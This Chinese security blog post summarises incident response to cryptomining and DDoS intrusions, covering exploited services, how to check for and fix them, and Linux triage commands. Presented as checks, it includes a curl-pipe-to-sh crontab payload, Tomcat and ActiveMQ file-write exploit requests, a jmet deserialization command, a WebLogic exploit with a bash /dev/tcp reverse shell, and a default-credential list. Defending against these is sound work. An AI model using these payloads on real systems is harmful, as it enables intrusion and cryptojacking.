前言

从去年六月份到现在做的应急响应、事件分析大大小小的做了数百个,主要遇到的有挖矿、DDoS、短信接口盗刷、用户接口泄漏、越权信息获取、挂黑页、删数据等。本文只针对自己做的应急响应中的挖矿和DDoS两类做一下总结及自己的处置方法,帮助运维等相关人员在遇到之后能够快速响应、处置。文章有不足之处欢迎大家指出、补充。

0x01 应急事件处理流程是什么?

服务器安全排查

  • webshell 查找
  • 木马病毒查找和清理
  • 恶意进程、网络连接和自启任务等清理

问题事件分析

  • 溯源事件缘由、黑客攻击途径

应用系统安全漏洞排查

  • 应用安全漏洞排查

0x02 攻击者进行挖矿、DDoS利用的漏洞有哪些?

1、未授权访问

未授权访问在我所处置的应急响应事件中所占的比重最大,主要分为以下几种:

  1. redis未授权访问

redis未授权访问主要被用来进行挖矿,一般手段是通过redis写入计划任务,基本上都是形如:/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh,直接进行挖矿、ddos等。

排查方法:

修复方法:

  • 绑定本地访问:bind 127.0.0.1
  • 添加认证:requirepass http://www.secpulse.com
  • redis-cli -h host -p port
  1. memcache未授权访问

memcache未授权访问主要被用来进行DDoS,在今年三月份爆发,攻击者利用memcached协议,发送大量带有被害者IP地址的UDP数据包给放大器主机,然后放大器主机对伪造的IP地址源做出大量回应,形成分布式拒绝服务攻击,从而形成DRDoS反射。

排查方法:

修复方法:

  • 设置memchached只允许本地访问
  • 禁止外网访问Memcached 11211端口
  • 编译时加上–enable-sasl,启用SASL认证
  • nc host port
  1. docker未授权访问

docker未授权访问主要被用来进行挖矿,通过挂载宿主机的/etc/、/var/spool/cron/等目录,之后将相关挖矿的脚本、命令等写入到/etc/crontab,/var/spool/cron/crontabs/root中。

排查方法:

修复方法:

  • 在不必需的情况下,不要启用docker的remote api服务
  • 在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证
  • curl http://IP:2375/containers/json
  1. k8s未授权访问

k8s未授权访问主要被用来挖矿,API Server 默认会开启两个端口:8080和 6443。其中 8080 端口无需认证,6443 端口需要认证,且有 TLS 保护,直接访问8080端口会返回可用的API列表。访问dashboard 页面,可以创建、修改、删除容器,查看日志等。攻击者利用的流程大体为:创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab定时任务进行挖矿。

排查方法:

修复方法:

  • 配置安全组、防火墙等,禁止敏感端口对外开放
  • 为管理端添加认证
  • curl http://IP:8080/

2、Tomcat

Tomcat目前常被利用的有:

  • Tomcat PUT任意文件写入漏洞(CVE-2017-12615)

排查方法:

直接发送以下数据包即可在Web根目录写入shell

PUT /test.jsp/ HTTP/1.1
Host: ip:port
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test

  • Tomcat弱口令部署war包getshell

排查方法:

查看tomcat管理控制台是否存在如下弱口令:

用户名

密码

tomcat

tomcat

admin

j5Brn9

admin

admin

admin

tomcat

role

changethis

role1

role1

root

root

root

changethis

role1

tomcat

both

tomcat

tomcat

changethis

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 及时升级Tomcat补丁
  • 安全组、防火墙等设置访问白名单

3、ActiveMQ

ActiveMQ目前常被利用的有:

  • ActiveMQ反序列化命令执行(CVE-2015-5254)

默认开启61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。攻击者利用的流程为:构造可执行命令的序列化对象 -> 作为一个消息,发送给目标61616端口 ->访问web管理页面,读取消息,触发漏洞

排查方法:

下载jmet的jar文件

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/activemq" -Yp ROME IP 61616

  • 访问:http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息

点击查看这条消息即可触发命令执行

  • ActiveMQ fileserver任意文件写入漏洞(CVE-2016-3088)

ActiveMQ的web控制台8161端口分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api需要登录后才能使用,fileserver无需登录。目前见到的是直接写入cron挖矿,简单粗暴!

排查方法:

PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 4
test

  • 写入到计划任务

MOVE /fileserver/text.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 及时升级ActiveMQ补丁
  • 安全组、防火墙等设置访问白名单

4、爆破

主要是Windows3389、Linux ssh爆破,爆破成功之后直接执行命令进行挖矿、DDoS。

排查方法:

网上搜索自己的密码是否被公开活在黑客字典中

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 安全组、防火墙等设置白名单访问

5、Struts2

利用Struts2反序列化命令执行,直接执行相关命令。

排查方法:

搜索网上一键扫描struts2漏洞的工具进行检测

修复方法:

  • 及时升级Struts2相关补丁

6、Java RMI命令执行

RMI服务的默认开放1099端口,且暴露在公网中,并且恰好使用了Apache Commons Collections的缺陷版本,可被直接利用来进行任意命令执行。

排查方法:

使用nmap进行端口扫描

修复方法:

  • 升级相应缺陷版本
  • 安全组、防火墙等设置拒绝RMI端口访问

7、Weblogic

目前见到的主要被利用的是Weblogic wls-wsat XMLDecoder反序列化漏洞(CVE-2017-10271)。

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

排查方法:

发送如下数据包,注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.2.11/8080 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

修复方法:

  • 升级weblogic相关补丁到最新版本
  • 安全组、防火墙等设置相关敏感端口白名单访问

0x03 应急响应快速排查步骤

以Linux为例,以下相关步骤只针对挖矿、DDoS相关安全事件的排查,以便快速、高效解决问题。其他安全事件按照通用事件排查步骤即可。

检查进程及文件

top -c : 快速查看进程信息,并获取进程文件位置

kill -9 PID : 杀死进程

根据恶意进程、文件特征如:文件名、文件大小、文件创建时间进行全盘搜索

grep -rni "shell.name" * : 根据文件名特征查找

find / -size 1223123c : 根据文件大小特征查找

find / -mtime 1 -name * : 根据文件创建时间查找

lsof -p PID:查看进程占用信息

cd /proc/PID : 进入到进程中

cat * |strings -n 5 |more : 读取该进程内存中的信息

检测网络

lsof -i:5000 : 查看5000端口的占用情况

netstat -nap : 查看不正常端口

netstat -an | grep tcp | awk '{print $5}' : 查看TCP连接

netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more : 查看SYN连接

检查计划任务

crontab -u root -l : 查看root用户的计划任务

cat /etc/crontab : 查看/etc/crontab

ls -al /etc/cron.* : 查看cron文件是否变化的详细信息

ll /var/spool/cron/ : 查看/var/spool/cron/

检查系统命令

ls -alt /bin/ | head -n 10ls -alt /usr/sbin/ | head -n 10ls -alt /usr/bin/ | head -n 10

Webshell

1、河马

2、自写脚本(推荐,因为可根据情况,自己加特征等)

使用杀毒软件

ClamAV

扫描:clamscan -r /usr —max-dir-recursion=5 -l /tmp/clamav.log移除:clamscan -r —remove /usr/bin/

rkhunter

rkhunter --propupdrkhunter --check

注意事项

1、一定要查看系统命令是否被替换,否则所做的都是一切徒劳。。。

2、若系统替换可用其他代替,如:ps使用top,netstat使用ss等

3、lsof -n |grep delete 查找已经删除但是还在使用的文件

4、留意下是否有SSH后门

5、注意是否存在隐藏进程

6、实在无法删除可使用chattr +i锁定相应计划任务文件

7、实在不行修改把curl ,wget ,lynx 文件全局重命名

附:记一次事件分析详细排查步骤

1、事件缘由

客户反馈服务器D盘里面的文件被删除了,要求排查什么原因导致的,什么漏洞引发的。

2、事件分析

前期准备工作:端口扫描、黑盒漏扫、弱口令、是否存在命令执行相关漏洞等,未果,进入服务器排查。

D盾全盘webshell查杀发现恶意文件(中间的一些用户,组,进程,日志排查步骤等我就不说了)

webshell名为enshell.aspx

根据该webshell文件名查找日志

定位记录该恶意文件的日志信息,找到攻击者IP

攻击者IP:110.87.13.61

威胁情报来一波

根据IP定位黑客攻击点

定位记录详情

定位漏洞源头

至此,事件分析结束。

3、事件结论

由此可知:黑客先利用/xxx/upload2Server/接口上传了恶意文件,再利用/xxx/checkfileexists/判断文件是否上传成功,最后利用,/xxx/executecmd/执行了该恶意文件。

哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...相关推荐

  1. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  2. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  3. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  4. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  5. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  6. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  7. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  8. Redis 未授权访问漏洞与getshell(附getshell检测工具)

    0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...

  9. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

最新文章

  1. 企业网络推广期间对于易流失用户群体企业网络推广有话说
  2. MySQL服务器修改主机名后问题解决
  3. 956. 最高的广告牌
  4. 基于c语言实现bp算法,基于BP网络的自学习算法和C语言实现
  5. ubuntu或者fedora下编译淘宝tair key-value-db的开源内存数据库
  6. 《监控》其实是讲一个年轻人彻底社会化的过程
  7. 刷题——逆波兰表达式
  8. 三级域名是什么?怎么设置三级域名?
  9. 分析攻击IP来源地并画出饼图 1
  10. 移植安卓系统到树莓派开发板
  11. Matlab去除图片上水印
  12. android 网易新闻 登录界面,Android实现仿网易新闻主界面设计
  13. 英语听说计算机查分,2018中考第二次英语听说考明日查分,附查分常见问答
  14. 【Linux】共享内存
  15. 字符编码问题三个不可见的字符(0xEF-0xBB-0xBF,即BOM)
  16. Python日记(1)——求dy/dx
  17. 【数独 2】候选数法解数独谜题-挖掘更深的信息-C++实现
  18. 【PS问题处理】画笔延迟较高的解决方法
  19. 静态时序分析(sta)/动态时序分析(dta)
  20. 关于各种牌子手机的字体问题

热门文章

  1. python成员方法共享吗_python 入坑路 类的特殊成员方法
  2. vue 仿二手交易app_项目vue2.0仿外卖APP(七)
  3. android xml 解析天气,Retrofit2解析天气API XML接口
  4. java扫雷教程_java实现简单扫雷游戏
  5. c 和 java 差异_java和C/C++的差异是什么
  6. tooltip trigger怎么改气泡的背景颜色_精装房这样改更完美,不砸墙不改电,低预算就能做到!...
  7. axios封装_VUE.JS请求工具Axios的封装
  8. idea从gitlab拉项目到本地_Git入门-基础命令,用github免费服务器域名部署小项目...
  9. 【若依(ruoyi)】Bootstrap-Table表格排序
  10. 【Nginx】判断URL中是否存在某个参数Parameter